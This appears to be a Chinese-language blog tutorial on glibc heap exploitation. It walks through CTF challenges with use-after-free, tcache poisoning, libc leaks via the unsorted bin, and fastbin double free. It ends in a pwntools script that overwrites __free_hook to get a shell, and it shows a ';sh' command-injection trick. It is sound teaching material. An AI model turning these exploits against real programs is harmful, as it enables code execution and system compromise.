堆利用入门

hacknote

附件下载:hacknote

略过一些利用 ida 看反汇编代码的技巧(看出它藏了一个结构体,把指针改造成数组等),直接来看源码:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct note {
  void (*printnote)();
  char *content;
};
// 定义结构体,由于 32 位程序,一个指针占 4 字节,故结构体 note 占 8 字节

struct note *notelist[5];
int count = 0;

void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
  int i;
  char buf[8];
  int size;
  if (count > 5) {
    puts("Full");
    return;
  }
  for (i = 0; i < 5; i++) {
    if (!notelist[i]) {
      notelist[i] = (struct note *)malloc(sizeof(struct note)); // 此处分配一个 8 字节大小的空间
      if (!notelist[i]) {
        puts("Alloca Error");
        exit(-1);
      }
      notelist[i]->printnote = print_note_content;
      printf("Note size :");
      read(0, buf, 8);
      size = atoi(buf);
      notelist[i]->content = (char *)malloc(size); // 此处分配一个 size 字节大小的空间
      if (!notelist[i]->content) {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, notelist[i]->content, size);
      puts("Success !");
      count++;
      break;
    }
  }
}

void del_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    free(notelist[idx]->content);
    free(notelist[idx]); // 漏洞点,free 完后仍然可以使用
    puts("Success");
  }
}

void print_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    notelist[idx]->printnote(notelist[idx]);
  }
}

void magic() { system("cat flag"); }

void menu() {
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  printf("Your choice :");
};

int main() {
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char buf[4];
  while (1) {
    menu();
    read(0, buf, 4);
    switch (atoi(buf)) {
    case 1:
      add_note();
      break;
    case 2:
      del_note();
      break;
    case 3:
      print_note();
      break;
    case 4:
      exit(0);
      break;
    default:
      puts("Invalid choice");
      break;
    }
  }
  return 0;
}

经典菜单题,并且有一个 magic 函数提供了 system.

漏洞点:del_note() 函数中 free 后仍然可以使用,即存在 UAF 漏洞。

由于 fastbins 的机制会将相同大小的堆块放在一起,那么,如果我们先:

addnote(0x30, "a")
addnote(0x30, "b")

即依次分配 0x8, 0x30, 0x8, 0x30 的几个堆块(分别记为 A, B, C, D),再

delnote(1)
delnote(0)

即依次释放 D, C, B, A,fastbins 会把 A, C 放一块,B, D 放一块

(诶,其实是 tcachebins 而非 fastbins,不过效果是一样的)

那么我们再次申请 8 个字节的堆块的时候,程序就会把 A -> C 作为 struct 和 content ,这时候我们就可以自由修改 content 的内容,然而堆块 1 虽然被释放了,但仍然可以使用,这样指针就跳到我们写入的 content 的位置,从而实现劫持。

另一个小技巧:system(“xxx;sh”) 就可以实现 system(“/bin/sh”) 的效果。原因是系统会分别执行分号前后的语句,不管 xxx 是不是正确的命令。

system_addr = elf.plt['system']

addnote(0x30, "a")
addnote(0x30, "b")
delnote(1)
delnote(0)
addnote(0x8, p32(system_addr) + b";sh")
printnote(1)

End.

堆入门 & EasyHeap

查看 libc 版本

strings ./libc.so.6 | grep "GNU"

查看内存分配

vmmap

查看堆详细信息

heap

堆空间被释放后会进入 bin

bins

先释放 A,A 进入某个 bins,再释放 B,B 进入 bins 并且将指针指向 A,再释放 A 时 A 再次进入 bins 将指针指向 B,这样就构成了一个无限长的链。

p main_arena

高版本可以将 gllibc-all-in-one 中的 ./.debug/.build-id 复制到对应文件夹,提高 debug 效率。

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        PIE enabled
Stripped:   No
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // ebx
  int v5; // [rsp+4h] [rbp-2Ch] BYREF
  int v6; // [rsp+8h] [rbp-28h] BYREF
  int v7; // [rsp+Ch] [rbp-24h] BYREF
  void *buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v9; // [rsp+18h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v5);
    switch ( v5 )
    {
      case 1:
        printf("idx: ");
        __isoc99_scanf("%d", &v6);
        printf("size: ");
        __isoc99_scanf("%d", &v7);
        v3 = v6;
        array[v3] = (__int64)malloc(v7);
        break;
      case 2:
        printf("idx: ");
        __isoc99_scanf("%d", &v7);
        free((void *)array[v7]); // UAF(Use After Free)漏洞:未将 array[v7] 初始化
        break;
      case 3:
        printf("idx: ");
        __isoc99_scanf("%d", &v7);
        puts((const char *)array[v7]);
        break;
      case 4:
        printf("idx: ");
        __isoc99_scanf("%d", &v7);
        printf("content: ");
        buf = malloc(0x100uLL);
        read(0, buf, 0x100uLL);                         // \x00 截断,故下面填充时填满 8 字节
        strcpy((char *)array[v7], (const char *)buf);  // 如果申请堆块大小是 0x50 则会溢出 0x100-0x50 长度的字节
        break;
      case 5:
        exit(0);
      default:
        continue;
    }
  }
}
int menu()
{
  puts("1. add");
  puts("2. delete");
  puts("3. show");
  puts("4. edit");
  return puts("5. exit");
}

tcache_fd_hijack

通过修改 tcache 能够进行挟持,原理即修改指向下一个堆块的指针。

def add(id, size):
    io.sendlineafter('5. exit\n', '1')
    io.sendlineafter('idx: ', str(id))
    io.sendlineafter('size: ', str(size))

def delete(id):
    io.sendlineafter('5. exit\n', '2')
    io.sendlineafter('idx: ', str(id))

def show(id):
    io.sendlineafter('5. exit\n', '3')
    io.sendlineafter('idx: ', str(id))

def edit(id, content):
    io.sendlineafter('5. exit\n', '4')
    io.sendlineafter('idx: ', str(id))
    io.sendafter('content: ', content)

先写好菜单函数,方便后续代码编写。

add(0, 0x50) # A
add(1, 0x50) # B
delete(0)
delete(1)

构造两个堆块(并删除),此时指针由 B 指向 A,通过 gdb 命令 bins 可以查看:

高地址堆块后创建,说明 **c0 为 B 堆块, **60 为 A 堆块。

释放后实际上我们仍然能够修改堆块中的值:

edit(1, flat([
    0xbeefdeaddeadbeef
])) # 填充满 8 个字节

可以看到堆块中信息已被我们成功篡改。

unsortedbin_leak

利用大堆块泄露 libc 信息:

add(0, 0x500) # 大堆块
add(1, 0x50) # block 阻断用, 没这个就进不去 unsortedbin,而是直接被 top chunk 合并

delete(0)

删除后堆块进入 unsortedbin

通过 show 即可泄露 main_arena 的地址。

大堆块融合

add(0, 0x500)
add(1, 0x500)
add(2, 0x50)

delete(0)
delete(1)

同时删除相邻大堆块会使之融合。例子中会融合成一个 0xA21 大小的堆块。

double free

# 释放 7 个把 tcache 填满
for i in range(9):
    add(i, 0x60)
for i in range(7):
    delete(i + 2)

# double free,0,1块进入 fastbins
delete(0)
delete(1)
delete(0)

# 耗尽 tcache
for i in range(7):
    add(i + 2, 0x60)

# 把 double free 过的堆块重新申请出来,获得修改地址的权限
add(0, 0x60)

# 任意修改地址
edit(0, flat([
    0xdeadbeefdeadbeef
]))

tcachebin 默认最多分配 7 个堆块。

free函数被调用时,内存管理器会将释放的内存块放回到一个空闲链表中,并将块指向链表的下一个空闲块。通过double free,索引0指向的内存块已经在链表中,但它被再次释放,从而使得链表结构被破坏。此时,链表中存在两个指向同一块内存的指针。

诶,所以为什么要大费周章地填满 tcache,清除 tcache 呢?因为在 tcache 里面 double free 会直接报错(防御机制是遍历,躲不过啊躲不过),而 fastbin 直接消除了它挨个判断的可能性,所以 double free 可以正常打。

hook 链

libc 2.34 版本之前可以用 hook 链打法。2.34 版本取消了 malloc_hook realloc_hook free_hook exit_hook 等各种 hook,自此堆利用方向转向 iofile.

查看 __malloc_hook:

x/20xg &__malloc_hook

malloc 函数执行时先判断 __malloc_hook 是否为空,若为空,则继续执行,若不为空,则先跳转到 __malloc_hook 指向的地址执行。

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./pwn2')
# io = remote('train2024.hitctf.cn', 26738)
libc = ELF('./libc.so.6')

gdb.attach(io)

def add(id, size):
    io.sendlineafter('5. exit\n', '1')
    io.sendlineafter('idx: ', str(id))
    io.sendlineafter('size: ', str(size))

def delete(id):
    io.sendlineafter('5. exit\n', '2')
    io.sendlineafter('idx: ', str(id))

def show(id):
    io.sendlineafter('5. exit\n', '3')
    io.sendlineafter('idx: ', str(id))

def edit(id, content):
    io.sendlineafter('5. exit\n', '4')
    io.sendlineafter('idx: ', str(id))
    io.sendafter('content: ', content)

add(0, 0x500) # 大堆块
add(1, 0x50) # block 阻断用

delete(0)
show(0)

addr = u64(io.recv(6).ljust(8, b'\x00'))
main_arena = addr - 96
# success('main_arena: ' + hex(main_arena))
libc_base = main_arena - (0x7f5bdf57ac40 - 0x7f5bdf18f000)
success('libc_base: ' + hex(libc_base))   

# 申请 9 个堆块
for i in range(9):
    add(i, 0x60)

# 释放 7 个堆块,填满 tcache
for i in range(7):
    delete(i + 2)

# 释放 2 个堆块,进入 unsorted bin  
delete(0)
delete(1)
# double free
delete(0)

# 申请 7 个堆块,清空 tcache
for i in range(7):
    add(i + 2, 0x60)

# 申请 1 个堆块,这个堆块是从 unsorted bin 中分配的
add(0, 0x60)

# 修改 fd 指针,使得 fd 指向 __free_hook
edit(0, flat([
    libc_base + libc.sym['__free_hook']
]))

# 连续申请堆块,直到申请出 __free_hook 的堆块
add(1, 0x60)
add(1, 0x60)
add(1, 0x60)

# 修改 __free_hook 中的值指向 system
edit(1, flat([
    libc_base + libc.sym['system']
]))

# 申请一个堆块,这个堆块的内容是 /bin/sh\x00
edit(2, flat([
    b'/bin/sh\x00'
]))

# 触发 free('/bin/sh')
delete(2)

io.interactive()

End.

上一篇
下一篇